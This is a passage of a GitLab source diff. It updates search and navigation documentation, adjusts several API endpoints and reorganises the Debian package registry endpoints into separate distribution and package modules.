+- To find bugs not mentioning display, use `-`: [`bug -display`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+-display&group_id=9970&project_id=278964)
+- To find a bug in display or banner, use `|`: [`bug display | banner`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+display+%7C+banner&group_id=9970&project_id=278964)
+- To group terms together, use parentheses: [`bug | (display +banner)`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+%7C+%28display+%2Bbanner%29&group_id=9970&project_id=278964)
+- To match a partial word, use `*`. In this example, I want to find bugs with any 500 errors. : [`bug error 50*`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+error+50*&group_id=9970&project_id=278964)
+- To use one of symbols above literally, escape the symbol with a preceding `\`: [`argument \-last`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=argument+%5C-last&group_id=9970&project_id=278964)
## Syntax search filters
@@ -79,15 +79,15 @@ any spaces between the colon (`:`) and the value. When no keyword is provided, a
Examples:
-- Finding a file with any content named `search_results.rb`: [`* filename:search_results.rb`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=*+filename%3Asearch_results.rb&group_id=9970&project_id=278964)
+- Finding a file with any content named `search_results.rb`: [`* filename:search_results.rb`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=*+filename%3Asearch_results.rb&group_id=9970&project_id=278964)
- The leading asterisk (`*`) can be ignored in the case above: [`filename:search_results.rb`](https://gitlab.com/search?group_id=9970&project_id=278964&scope=blobs&search=filename%3Asearch_results.rb)
-- Finding a file named `found_blob_spec.rb` with the text `CHANGELOG` inside of it: [`CHANGELOG filename:found_blob_spec.rb`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=CHANGELOG+filename%3Afound_blob_spec.rb&group_id=9970&project_id=278964)
-- Finding the text `EpicLinks` inside files with the `.rb` extension: [`EpicLinks extension:rb`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=EpicLinks+extension%3Arb&group_id=9970&project_id=278964)
-- Finding any file with the `.yaml` extension: [`extension:yaml`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=extension%3Ayaml&group_id=9970&project_id=278964)
-- Finding the text `Sidekiq` in a file, when that file is in a path that includes `elastic`: [`Sidekiq path:elastic`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=Sidekiq+path%3Aelastic&group_id=9970&project_id=278964)
-- Finding any file in a path that includes `elasticsearch`: [`path:elasticsearch`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=path%3Aelasticsearch&group_id=9970&project_id=278964)
-- Finding the files represented by the Git object ID `998707b421c89bd9a3063333f9f728ef3e43d101`: [`* blob:998707b421c89bd9a3063333f9f728ef3e43d101`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=false&scope=blobs&repository_ref=&search=*+blob%3A998707b421c89bd9a3063333f9f728ef3e43d101&group_id=9970)
-- Syntax filters can be combined for complex filtering. Finding any file starting with `search` containing `eventHub` and with the `.js` extension: [`eventHub filename:search* extension:js`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=eventHub+filename%3Asearch*+extension%3Ajs&group_id=9970&project_id=278964)
+- Finding a file named `found_blob_spec.rb` with the text `CHANGELOG` inside of it: [`CHANGELOG filename:found_blob_spec.rb`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=CHANGELOG+filename%3Afound_blob_spec.rb&group_id=9970&project_id=278964)
+- Finding the text `EpicLinks` inside files with the `.rb` extension: [`EpicLinks extension:rb`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=EpicLinks+extension%3Arb&group_id=9970&project_id=278964)
+- Finding any file with the `.yaml` extension: [`extension:yaml`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=extension%3Ayaml&group_id=9970&project_id=278964)
+- Finding the text `Sidekiq` in a file, when that file is in a path that includes `elastic`: [`Sidekiq path:elastic`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=Sidekiq+path%3Aelastic&group_id=9970&project_id=278964)
+- Finding any file in a path that includes `elasticsearch`: [`path:elasticsearch`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=path%3Aelasticsearch&group_id=9970&project_id=278964)
+- Finding the files represented by the Git object ID `998707b421c89bd9a3063333f9f728ef3e43d101`: [`* blob:998707b421c89bd9a3063333f9f728ef3e43d101`](https://gitlab.com/search?snippets=false&scope=blobs&repository_ref=&search=*+blob%3A998707b421c89bd9a3063333f9f728ef3e43d101&group_id=9970)
+- Syntax filters can be combined for complex filtering. Finding any file starting with `search` containing `eventHub` and with the `.js` extension: [`eventHub filename:search* extension:js`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=eventHub+filename%3Asearch*+extension%3Ajs&group_id=9970&project_id=278964)
### Excluding filters
@@ -102,14 +102,14 @@ Filters can be inverted to **filter out** results from the result set, by prefix
Examples:
-- Finding `rails` in all files but `Gemfile.lock`: [`rails -filename:Gemfile.lock`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=rails+-filename%3AGemfile.lock&group_id=9970&project_id=278964)
-- Finding `success` in all files excluding `.po|pot` files: [`success -filename:*.po*`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=success+-filename%3A*.po*&group_id=9970&project_id=278964)
-- Finding `import` excluding minified JavaScript (`.min.js`) files: [`import -extension:min.js`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=import+-extension%3Amin.js&group_id=9970&project_id=278964)
-- Finding `docs` for all files outside the `docs/` folder: [`docs -path:docs/`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=docs+-path%3Adocs%2F&group_id=9970&project_id=278964)
+- Finding `rails` in all files but `Gemfile.lock`: [`rails -filename:Gemfile.lock`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=rails+-filename%3AGemfile.lock&group_id=9970&project_id=278964)
+- Finding `success` in all files excluding `.po|pot` files: [`success -filename:*.po*`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=success+-filename%3A*.po*&group_id=9970&project_id=278964)
+- Finding `import` excluding minified JavaScript (`.min.js`) files: [`import -extension:min.js`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=import+-extension%3Amin.js&group_id=9970&project_id=278964)
+- Finding `docs` for all files outside the `docs/` folder: [`docs -path:docs/`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=docs+-path%3Adocs%2F&group_id=9970&project_id=278964)
## Search by issue or merge request ID
You can search a specific issue or merge request by its ID with a special prefix.
-- To search by issue ID, use prefix `#` followed by issue ID. For example, [#23456](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=%2323456&group_id=9970&project_id=278964)
-- To search by merge request ID, use prefix `!` followed by merge request ID. For example [!23456](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=merge_requests&repository_ref=&search=%2123456&group_id=9970&project_id=278964)
+- To search by issue ID, use prefix `#` followed by issue ID. For example, [#23456](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=%2323456&group_id=9970&project_id=278964)
+- To search by merge request ID, use prefix `!` followed by merge request ID. For example [!23456](https://gitlab.com/search?snippets=&scope=merge_requests&repository_ref=&search=%2123456&group_id=9970&project_id=278964)
diff --git a/doc/user/search/index.md b/doc/user/search/index.md
index db89dddaf14..0cdaa3150c5 100644
--- a/doc/user/search/index.md
+++ b/doc/user/search/index.md
@@ -194,7 +194,7 @@ author, type, and action. Also, you can sort them by
## Projects
-You can search through your projects from the left menu, by clicking the menu bar, then **Projects**.
+You can search through your projects from the top bar, by selecting **Menu > Projects**.
On the field **Filter by name**, type the project or group name you want to find, and GitLab
filters them for you as you type.
@@ -252,7 +252,7 @@ You can also type in this search bar to see autocomplete suggestions for:
- Recently viewed issues (try and type some word from the title of a recently viewed issue)
- Recently viewed merge requests (try and type some word from the title of a recently viewed merge request)
- Recently viewed epics (try and type some word from the title of a recently viewed epic)
-- [GitLab Flavored Markdown](../markdown.md#special-gitlab-references) (GFM) for issues in a project (try and type a GFM reference for an issue)
+- [GitLab Flavored Markdown](../markdown.md#gitlab-specific-references) (GFM) for issues in a project (try and type a GFM reference for an issue)
## Basic search
diff --git a/doc/user/shortcuts.md b/doc/user/shortcuts.md
index 6673611267d..6abbb128f49 100644
--- a/doc/user/shortcuts.md
+++ b/doc/user/shortcuts.md
@@ -79,9 +79,9 @@ relatively quickly to work, and they take you to another page in the project.
| <kbd>g</kbd> + <kbd>b</kbd> | Go to the project issue boards list (**Issues > Boards**). |
| <kbd>g</kbd> + <kbd>m</kbd> | Go to the project merge requests list (**Merge Requests**). |
| <kbd>g</kbd> + <kbd>j</kbd> | Go to the CI/CD jobs list (**CI/CD > Jobs**). |
-| <kbd>g</kbd> + <kbd>l</kbd> | Go to the project metrics (**Operations > Metrics**). |
-| <kbd>g</kbd> + <kbd>e</kbd> | Go to the project environments (**Operations > Environments**). |
-| <kbd>g</kbd> + <kbd>k</kbd> | Go to the project Kubernetes cluster integration page (**Operations > Kubernetes**). Note that you must have at least [`maintainer` permissions](permissions.md) to access this page. |
+| <kbd>g</kbd> + <kbd>l</kbd> | Go to the project metrics (**Monitor > Metrics**). |
+| <kbd>g</kbd> + <kbd>e</kbd> | Go to the project environments (**Deployments > Environments**). |
+| <kbd>g</kbd> + <kbd>k</kbd> | Go to the project Kubernetes cluster integration page (**Infrastructure > Kubernetes**). Note that you must have at least [`maintainer` permissions](permissions.md) to access this page. |
| <kbd>g</kbd> + <kbd>s</kbd> | Go to the project snippets list (**Snippets**). |
| <kbd>g</kbd> + <kbd>w</kbd> | Go to the project wiki (**Wiki**), if enabled. |
@@ -126,7 +126,7 @@ These shortcuts are available when editing a file with the [Web IDE](project/web
### Repository graph
-These shortcuts are available when viewing the project [repository graph](project/repository/index.md#repository-graph)
+These shortcuts are available when viewing the project [repository graph](project/repository/index.md#repository-history-graph)
page (navigate to **Repository > Graph**):
| Keyboard shortcut | Description |
diff --git a/doc/user/snippets.md b/doc/user/snippets.md
index 45751e14cb8..4b3f9e78c7b 100644
--- a/doc/user/snippets.md
+++ b/doc/user/snippets.md
@@ -57,11 +57,11 @@ In GitLab versions 13.0 and later, snippets are [versioned by default](#versione
To discover all snippets visible to you in GitLab, you can:
-- **View all snippets visible to you**: In the top navigation bar of your GitLab
- instance, go to **More > Snippets** to view your snippets dashboard.
+- **View all snippets visible to you**: On the top bar of your GitLab
+ instance, select **Menu > Snippets** to view your snippets dashboard.
- **Visit [GitLab snippets](https://gitlab.com/dashboard/snippets)** for your snippets on GitLab.com.
-- **Explore all public snippets**: In the top navigation bar of your GitLab
- instance, go to **More > Snippets** and select **Explore snippets** to view
+- **Explore all public snippets**: On the top bar of your GitLab
+ instance, select **Menu > Snippets** and select **Explore snippets** to view
[all public snippets](https://gitlab.com/explore/snippets).
- **View a project's snippets**: In your project,
go to **Snippets**.
diff --git a/doc/user/todos.md b/doc/user/todos.md
index 695532abf9f..4227f46dfa8 100644
--- a/doc/user/todos.md
+++ b/doc/user/todos.md
@@ -112,6 +112,7 @@ Actions that dismiss to-do items include:
- Changing the milestone
- Adding/removing a label
- Commenting on the issue
+- Resolving a [design discussion thread](project/issues/design_management.md#resolve-design-threads)
Your To-Do List is personal, and items are only marked as done if you take
action. If you close the issue or merge request, your to-do item is marked as
diff --git a/file_hooks/examples/save_to_file.rb b/file_hooks/examples/save_to_file.rb
index 61b0df9bfd6..88e5986337b 100755
--- a/file_hooks/examples/save_to_file.rb
+++ b/file_hooks/examples/save_to_file.rb
@@ -1,3 +1,3 @@
#!/usr/bin/env ruby
-x = STDIN.read
+x = $stdin.read
File.write('/tmp/rb-data.txt', x)
diff --git a/generator_templates/usage_metric_definition/metric_definition.yml b/generator_templates/usage_metric_definition/metric_definition.yml
index 89290a0bd89..53ff84fc4ab 100644
--- a/generator_templates/usage_metric_definition/metric_definition.yml
+++ b/generator_templates/usage_metric_definition/metric_definition.yml
@@ -11,6 +11,7 @@ milestone: "<%= milestone %>"
introduced_by_url:
time_frame: <%= time_frame %>
data_source:
+data_category: Operational
distribution:
<%= distribution %>
tier:
diff --git a/lib/api/api.rb b/lib/api/api.rb
index 54e5cc5c8d0..2a3033753f7 100644
--- a/lib/api/api.rb
+++ b/lib/api/api.rb
@@ -52,8 +52,6 @@ module API
api_endpoint = env['api.endpoint']
feature_category = api_endpoint.options[:for].try(:feature_category_for_app, api_endpoint).to_s
- header[Gitlab::Metrics::RequestsRackMiddleware::FEATURE_CATEGORY_HEADER] = feature_category
-
Gitlab::ApplicationContext.push(
user: -> { @current_user },
project: -> { @project },
@@ -170,11 +168,11 @@ module API
mount ::API::ErrorTracking
mount ::API::Events
mount ::API::FeatureFlags
- mount ::API::FeatureFlagScopes
mount ::API::FeatureFlagsUserLists
mount ::API::Features
mount ::API::Files
mount ::API::FreezePeriods
+ mount ::API::GroupAvatar
mount ::API::GroupBoards
mount ::API::GroupClusters
mount ::API::GroupExport
@@ -224,10 +222,12 @@ module API
mount ::API::NpmInstancePackages
mount ::API::GenericPackages
mount ::API::GoProxy
+ mount ::API::HelmPackages
mount ::API::Pages
mount ::API::PagesDomains
mount ::API::ProjectClusters
mount ::API::ProjectContainerRepositories
+ mount ::API::ProjectDebianDistributions
mount ::API::ProjectEvents
mount ::API::ProjectExport
mount ::API::ProjectImport
diff --git a/lib/api/branches.rb b/lib/api/branches.rb
index 1ee120f982a..0db5bb82296 100644
--- a/lib/api/branches.rb
+++ b/lib/api/branches.rb
@@ -17,6 +17,10 @@ module API
authorize! :download_code, user_project
end
+ rescue_from Gitlab::Git::Repository::NoRepository do
+ not_found!
+ end
+
helpers do
params :filter_params do
optional :search, type: String, desc: 'Return list of branches matching the search criteria'
diff --git a/lib/api/ci/runner.rb b/lib/api/ci/runner.rb
index 33980b38e2b..c4e0b699524 100644
--- a/lib/api/ci/runner.rb
+++ b/lib/api/ci/runner.rb
@@ -98,6 +98,9 @@ module API
optional :architecture, type: String, desc: %q(Runner's architecture)
optional :executor, type: String, desc: %q(Runner's executor)
optional :features, type: Hash, desc: %q(Runner's features)
+ optional :config, type: Hash, desc: %q(Runner's config) do
+ optional :gpus, type: String, desc: %q(GPUs enabled)
+ end
end
optional :session, type: Hash, desc: %q(Runner's session data) do
optional :url, type: String, desc: %q(Session's url)
@@ -165,7 +168,6 @@ module API
params do
requires :token, type: String, desc: %q(Runners's authentication token)
requires :id, type: Integer, desc: %q(Job's ID)
- optional :trace, type: String, desc: %q(Job's full trace)
optional :state, type: String, desc: %q(Job's status: success, failed)
optional :checksum, type: String, desc: %q(Job's trace CRC32 checksum)
optional :failure_reason, type: String, desc: %q(Job's failure_reason)
diff --git a/lib/api/commit_statuses.rb b/lib/api/commit_statuses.rb
index e199111c975..27fee7fdea2 100644
--- a/lib/api/commit_statuses.rb
+++ b/lib/api/commit_statuses.rb
@@ -96,10 +96,8 @@ module API
protected: user_project.protected_for?(ref)
)
- optional_attributes =
- attributes_for_keys(%w[target_url description coverage])
-
- status.update(optional_attributes) if optional_attributes.any?
+ updatable_optional_attributes = %w[target_url description coverage]
+ status.assign_attributes(attributes_for_keys(updatable_optional_attributes))
if status.valid?
status.update_older_statuses_retried! if Feature.enabled?(:ci_fix_commit_status_retried, user_project, default_enabled: :yaml)
diff --git a/lib/api/commits.rb b/lib/api/commits.rb
index bd9f83ac24c..541a37b0abe 100644
--- a/lib/api/commits.rb
+++ b/lib/api/commits.rb
@@ -1,5 +1,4 @@
# frozen_string_literal: true
-
require 'mime/types'
module API
@@ -41,6 +40,7 @@ module API
optional :with_stats, type: Boolean, desc: 'Stats about each commit will be added to the response'
optional :first_parent, type: Boolean, desc: 'Only include the first parent of merges'
optional :order, type: String, desc: 'List commits in order', default: 'default', values: %w[default topo]
+ optional :trailers, type: Boolean, desc: 'Parse and include Git trailers for every commit', default: false
use :pagination
end
get ':id/repository/commits' do
@@ -62,7 +62,8 @@ module API
after: after,
all: all,
first_parent: first_parent,
- order: order)
+ order: order,
+ trailers: params[:trailers])
serializer = with_stats ? Entities::CommitWithStats : Entities::Commit
@@ -203,6 +204,7 @@ module API
requires :sha, type: String, desc: 'A commit sha, or the name of a branch or tag to be cherry picked'
requires :branch, type: String, desc: 'The name of the branch', allow_blank: false
optional :dry_run, type: Boolean, default: false, desc: "Does not commit any changes"
+ optional :message, type: String, desc: 'A custom commit message to use for the picked commit'
end
post ':id/repository/commits/:sha/cherry_pick', requirements: API::COMMIT_ENDPOINT_REQUIREMENTS do
authorize_push_to_branch!(params[:branch])
@@ -216,7 +218,8 @@ module API
commit: commit,
start_branch: params[:branch],
branch_name: params[:branch],
- dry_run: params[:dry_run]
+ dry_run: params[:dry_run],
+ message: params[:message]
}
result = ::Commits::CherryPickService
diff --git a/lib/api/composer_packages.rb b/lib/api/composer_packages.rb
index 115a6b8ac4f..7b3750b37ee 100644
--- a/lib/api/composer_packages.rb
+++ b/lib/api/composer_packages.rb
@@ -137,7 +137,7 @@ module API
bad_request!
end
- track_package_event('push_package', :composer)
+ track_package_event('push_package', :composer, project: authorized_user_project, user: current_user, namespace: authorized_user_project.namespace)
::Packages::Composer::CreatePackageService
.new(authorized_user_project, current_user, declared_params.merge(build: current_authenticated_job))
@@ -161,7 +161,7 @@ module API
not_found! unless metadata
- track_package_event('pull_package', :composer)
+ track_package_event('pull_package', :composer, project: unauthorized_user_project, namespace: unauthorized_user_project.namespace)
send_git_archive unauthorized_user_project.repository, ref: metadata.target_sha, format: 'zip', append_sha: true
end
diff --git a/lib/api/concerns/packages/conan_endpoints.rb b/lib/api/concerns/packages/conan_endpoints.rb
index eb762be8285..3194cdebde8 100644
--- a/lib/api/concerns/packages/conan_endpoints.rb
+++ b/lib/api/concerns/packages/conan_endpoints.rb
@@ -255,7 +255,7 @@ module API
delete do
authorize!(:destroy_package, project)
- track_package_event('delete_package', :conan, category: 'API::ConanPackages')
+ track_package_event('delete_package', :conan, category: 'API::ConanPackages', user: current_user, project: project, namespace: project.namespace)
package.destroy
end
diff --git a/lib/api/concerns/packages/debian_distribution_endpoints.rb b/lib/api/concerns/packages/debian_distribution_endpoints.rb
new file mode 100644
index 00000000000..4670c3e3521
--- /dev/null
+++ b/lib/api/concerns/packages/debian_distribution_endpoints.rb
@@ -0,0 +1,152 @@
+# frozen_string_literal: true
+
+module API
+ module Concerns
+ module Packages
+ module DebianDistributionEndpoints
+ extend ActiveSupport::Concern
+
+ included do
+ include PaginationParams
+
+ feature_category :package_registry
+
+ helpers ::API::Helpers::PackagesHelpers
+ helpers ::API::Helpers::Packages::BasicAuthHelpers
+ include ::API::Helpers::Authentication
+
+ namespace 'debian_distributions' do
+ helpers do
+ params :optional_distribution_params do
+ optional :suite, type: String, regexp: Gitlab::Regex.debian_distribution_regex, desc: 'The Debian Suite'
+ optional :origin, type: String, regexp: Gitlab::Regex.debian_distribution_regex, desc: 'The Debian Origin'
+ optional :label, type: String, regexp: Gitlab::Regex.debian_distribution_regex, desc: 'The Debian Label'
+ optional :version, type: String, regexp: Gitlab::Regex.debian_version_regex, desc: 'The Debian Version'
+ optional :description, type: String, desc: 'The Debian Description'
+ optional :valid_time_duration_seconds, type: Integer, desc: 'The duration before the Release file should be considered expired by the client'
+
+ optional :components, type: Array[String],
+ coerce_with: ::API::Validations::Types::CommaSeparatedToArray.coerce,
+ regexp: Gitlab::Regex.debian_component_regex,
+ desc: 'The list of Components'
+ optional :architectures, type: Array[String],
+ coerce_with: ::API::Validations::Types::CommaSeparatedToArray.coerce,
+ regexp: Gitlab::Regex.debian_architecture_regex,
+ desc: 'The list of Architectures'
+ end
+ end
+
+ authenticate_with do |accept|
+ accept.token_types(:personal_access_token, :deploy_token, :job_token)
+ .sent_through(:http_basic_auth)
+ end
+
+ content_type :json, 'application/json'
+ format :json
+
+ # POST {projects|groups}/:id/debian_distributions
+ desc 'Create a Debian Distribution' do
+ detail 'This feature was introduced in 14.0'
+ success ::API::Entities::Packages::Debian::Distribution
+ end
+
+ params do
+ requires :codename, type: String, regexp: Gitlab::Regex.debian_distribution_regex, desc: 'The Debian Codename'
+ use :optional_distribution_params
+ end
+ post '/' do
+ authorize_create_package!(project_or_group)
+
+ distribution_params = declared_params(include_missing: false)
+ result = ::Packages::Debian::CreateDistributionService.new(project_or_group, current_user, distribution_params).execute
+ distribution = result.payload[:distribution]
+
+ if result.success?
+ present distribution, with: ::API::Entities::Packages::Debian::Distribution
+ else
+ render_validation_error!(distribution)
+ end
+ end
+
+ # GET {projects|groups}/:id/debian_distributions
+ desc 'Get a list of Debian Distributions' do
+ detail 'This feature was introduced in 14.0'
+ success ::API::Entities::Packages::Debian::Distribution
+ end
+
+ params do
+ use :pagination
+ optional :codename, type: String, regexp: Gitlab::Regex.debian_distribution_regex, desc: 'The Debian Codename'
+ use :optional_distribution_params
+ end
+ get '/' do
+ distribution_params = declared_params(include_missing: false)
+ distributions = ::Packages::Debian::DistributionsFinder.new(project_or_group, distribution_params).execute
+
+ present paginate(distributions), with: ::API::Entities::Packages::Debian::Distribution
+ end
+
+ # GET {projects|groups}/:id/debian_distributions/:codename
+ desc 'Get a Debian Distribution' do
+ detail 'This feature was introduced in 14.0'
+ success ::API::Entities::Packages::Debian::Distribution
+ end
+
+ params do
+ requires :codename, type: String, regexp: Gitlab::Regex.debian_distribution_regex, desc: 'The Debian Codename'
+ end
+ get '/:codename' do
+ distribution = ::Packages::Debian::DistributionsFinder.new(project_or_group, codename: params[:codename]).execute.last!
+
+ present distribution, with: ::API::Entities::Packages::Debian::Distribution
+ end
+
+ # PUT {projects|groups}/:id/debian_distributions/:codename
+ desc 'Update a Debian Distribution' do
+ detail 'This feature was introduced in 14.0'
+ success ::API::Entities::Packages::Debian::Distribution
+ end
+
+ params do
+ requires :codename, type: String, regexp: Gitlab::Regex.debian_distribution_regex, desc: 'The Debian Codename'
+ use :optional_distribution_params
+ end
+ put '/:codename' do
+ authorize_create_package!(project_or_group)
+
+ distribution = ::Packages::Debian::DistributionsFinder.new(project_or_group, codename: params[:codename]).execute.last!
+ distribution_params = declared_params(include_missing: false).except(:codename)
+ result = ::Packages::Debian::UpdateDistributionService.new(distribution, distribution_params).execute
+ distribution = result.payload[:distribution]
+
+ if result.success?
+ present distribution, with: ::API::Entities::Packages::Debian::Distribution
+ else
+ render_validation_error!(distribution)
+ end
+ end
+
+ # DELETE {projects|groups}/:id/debian_distributions/:codename
+ desc 'Delete a Debian Distribution' do
+ detail 'This feature was introduced in 14.0'
+ end
+
+ params do
+ requires :codename, type: String, regexp: Gitlab::Regex.debian_distribution_regex, desc: 'The Debian Codename'
+ use :optional_distribution_params
+ end
+ delete '/:codename' do
+ authorize_destroy_package!(project_or_group)
+
+ distribution = ::Packages::Debian::DistributionsFinder.new(project_or_group, codename: params[:codename]).execute.last!
+
+ accepted! if distribution.destroy
+
+ render_api_error!('Failed to delete distribution', 400)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/concerns/packages/debian_endpoints.rb b/lib/api/concerns/packages/debian_endpoints.rb
deleted file mode 100644
index 6fc7c439464..00000000000
--- a/lib/api/concerns/packages/debian_endpoints.rb
+++ /dev/null
@@ -1,133 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Concerns
- module Packages
- module DebianEndpoints
- extend ActiveSupport::Concern
-
- DISTRIBUTION_REGEX = %r{[a-zA-Z0-9][a-zA-Z0-9.-]*}.freeze
- COMPONENT_REGEX = %r{[a-z-]+}.freeze
- ARCHITECTURE_REGEX = %r{[a-z][a-z0-9]*}.freeze
- LETTER_REGEX = %r{(lib)?[a-z0-9]}.freeze
- PACKAGE_REGEX = API::NO_SLASH_URL_PART_REGEX
- DISTRIBUTION_REQUIREMENTS = {
- distribution: DISTRIBUTION_REGEX
- }.freeze
- COMPONENT_ARCHITECTURE_REQUIREMENTS = {
- component: COMPONENT_REGEX,
- architecture: ARCHITECTURE_REGEX
- }.freeze
- COMPONENT_LETTER_SOURCE_PACKAGE_REQUIREMENTS = {
- component: COMPONENT_REGEX,
- letter: LETTER_REGEX,
- source_package: PACKAGE_REGEX
- }.freeze
- FILE_NAME_REQUIREMENTS = {
- file_name: API::NO_SLASH_URL_PART_REGEX
- }.freeze
-
- included do
- feature_category :package_registry
-
- helpers ::API::Helpers::PackagesHelpers
- helpers ::API::Helpers::Packages::BasicAuthHelpers
-
- format :txt
- content_type :txt, 'text/plain'
-
- rescue_from ArgumentError do |e|
- render_api_error!(e.message, 400)
- end
-
- rescue_from ActiveRecord::RecordInvalid do |e|
- render_api_error!(e.message, 400)
- end
-
- before do
- require_packages_enabled!
- end
-
- namespace 'packages/debian' do
- params do
- requires :distribution, type: String, desc: 'The Debian Codename', regexp: Gitlab::Regex.debian_distribution_regex
- end
-
- namespace 'dists/*distribution', requirements: DISTRIBUTION_REQUIREMENTS do
- # GET {projects|groups}/:id/packages/debian/dists/*distribution/Release.gpg
- desc 'The Release file signature' do
- detail 'This feature was introduced in GitLab 13.5'
- end
-
- route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth, authenticate_non_public: true
- get 'Release.gpg' do
- not_found!
- end
-
- # GET {projects|groups}/:id/packages/debian/dists/*distribution/Release
- desc 'The unsigned Release file' do
- detail 'This feature was introduced in GitLab 13.5'
- end
-
- route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth, authenticate_non_public: true
- get 'Release' do
- # https://gitlab.com/gitlab-org/gitlab/-/issues/5835#note_414103286
- 'TODO Release'
- end
-
- # GET {projects|groups}/:id/packages/debian/dists/*distribution/InRelease
- desc 'The signed Release file' do
- detail 'This feature was introduced in GitLab 13.5'
- end
-
- route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth, authenticate_non_public: true
- get 'InRelease' do
- not_found!
- end
-
- params do
- requires :component, type: String, desc: 'The Debian Component', regexp: Gitlab::Regex.debian_component_regex
- requires :architecture, type: String, desc: 'The Debian Architecture', regexp: Gitlab::Regex.debian_architecture_regex
- end
-
- namespace ':component/binary-:architecture', requirements: COMPONENT_ARCHITECTURE_REQUIREMENTS do
- # GET {projects|groups}/:id/packages/debian/dists/*distribution/:component/binary-:architecture/Packages
- desc 'The binary files index' do
- detail 'This feature was introduced in GitLab 13.5'
- end
-
- route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth, authenticate_non_public: true
- get 'Packages' do
- # https://gitlab.com/gitlab-org/gitlab/-/issues/5835#note_414103286
- 'TODO Packages'
- end
- end
- end
-
- params do
- requires :component, type: String, desc: 'The Debian Component', regexp: Gitlab::Regex.debian_component_regex
- requires :letter, type: String, desc: 'The Debian Classification (first-letter or lib-first-letter)'
- requires :source_package, type: String, desc: 'The Debian Source Package Name', regexp: Gitlab::Regex.debian_package_name_regex
- end
-
- namespace 'pool/:component/:letter/:source_package', requirements: COMPONENT_LETTER_SOURCE_PACKAGE_REQUIREMENTS do
- # GET {projects|groups}/:id/packages/debian/pool/:component/:letter/:source_package/:file_name
- params do
- requires :file_name, type: String, desc: 'The Debian File Name'
- end
- desc 'The package' do
- detail 'This feature was introduced in GitLab 13.5'
- end
-
- route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth, authenticate_non_public: true
- get ':file_name', requirements: FILE_NAME_REQUIREMENTS do
- # https://gitlab.com/gitlab-org/gitlab/-/issues/5835#note_414103286
- 'TODO File'
- end
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/api/concerns/packages/debian_package_endpoints.rb b/lib/api/concerns/packages/debian_package_endpoints.rb
new file mode 100644
index 00000000000..c79ae3068b4
--- /dev/null
+++ b/lib/api/concerns/packages/debian_package_endpoints.rb
@@ -0,0 +1,127 @@
+# frozen_string_literal: true
+
+module API
+ module Concerns
+ module Packages
+ module DebianPackageEndpoints
+ extend ActiveSupport::Concern
+
+ DISTRIBUTION_REGEX = %r{[a-zA-Z0-9][a-zA-Z0-9.-]*}.freeze
+ COMPONENT_REGEX = %r{[a-z-]+}.freeze
+ ARCHITECTURE_REGEX = %r{[a-z][a-z0-9]*}.freeze
+ LETTER_REGEX = %r{(lib)?[a-z0-9]}.freeze
+ PACKAGE_REGEX = API::NO_SLASH_URL_PART_REGEX
+ DISTRIBUTION_REQUIREMENTS = {
+ distribution: DISTRIBUTION_REGEX
+ }.freeze
+ COMPONENT_ARCHITECTURE_REQUIREMENTS = {
+ component: COMPONENT_REGEX,
+ architecture: ARCHITECTURE_REGEX
+ }.freeze
+ COMPONENT_LETTER_SOURCE_PACKAGE_REQUIREMENTS = {
+ component: COMPONENT_REGEX,
+ letter: LETTER_REGEX,
+ source_package: PACKAGE_REGEX
+ }.freeze
+ FILE_NAME_REQUIREMENTS = {
+ file_name: API::NO_SLASH_URL_PART_REGEX
+ }.freeze
+
+ included do
+ feature_category :package_registry
+
+ helpers ::API::Helpers::PackagesHelpers
+ helpers ::API::Helpers::Packages::BasicAuthHelpers
+ include ::API::Helpers::Authentication
+
+ namespace 'packages/debian' do
+ authenticate_with do |accept|
+ accept.token_types(:personal_access_token, :deploy_token, :job_token)
+ .sent_through(:http_basic_auth)
+ end
+
+ format :txt
+ content_type :txt, 'text/plain'
+
+ params do
+ requires :distribution, type: String, desc: 'The Debian Codename', regexp: Gitlab::Regex.debian_distribution_regex
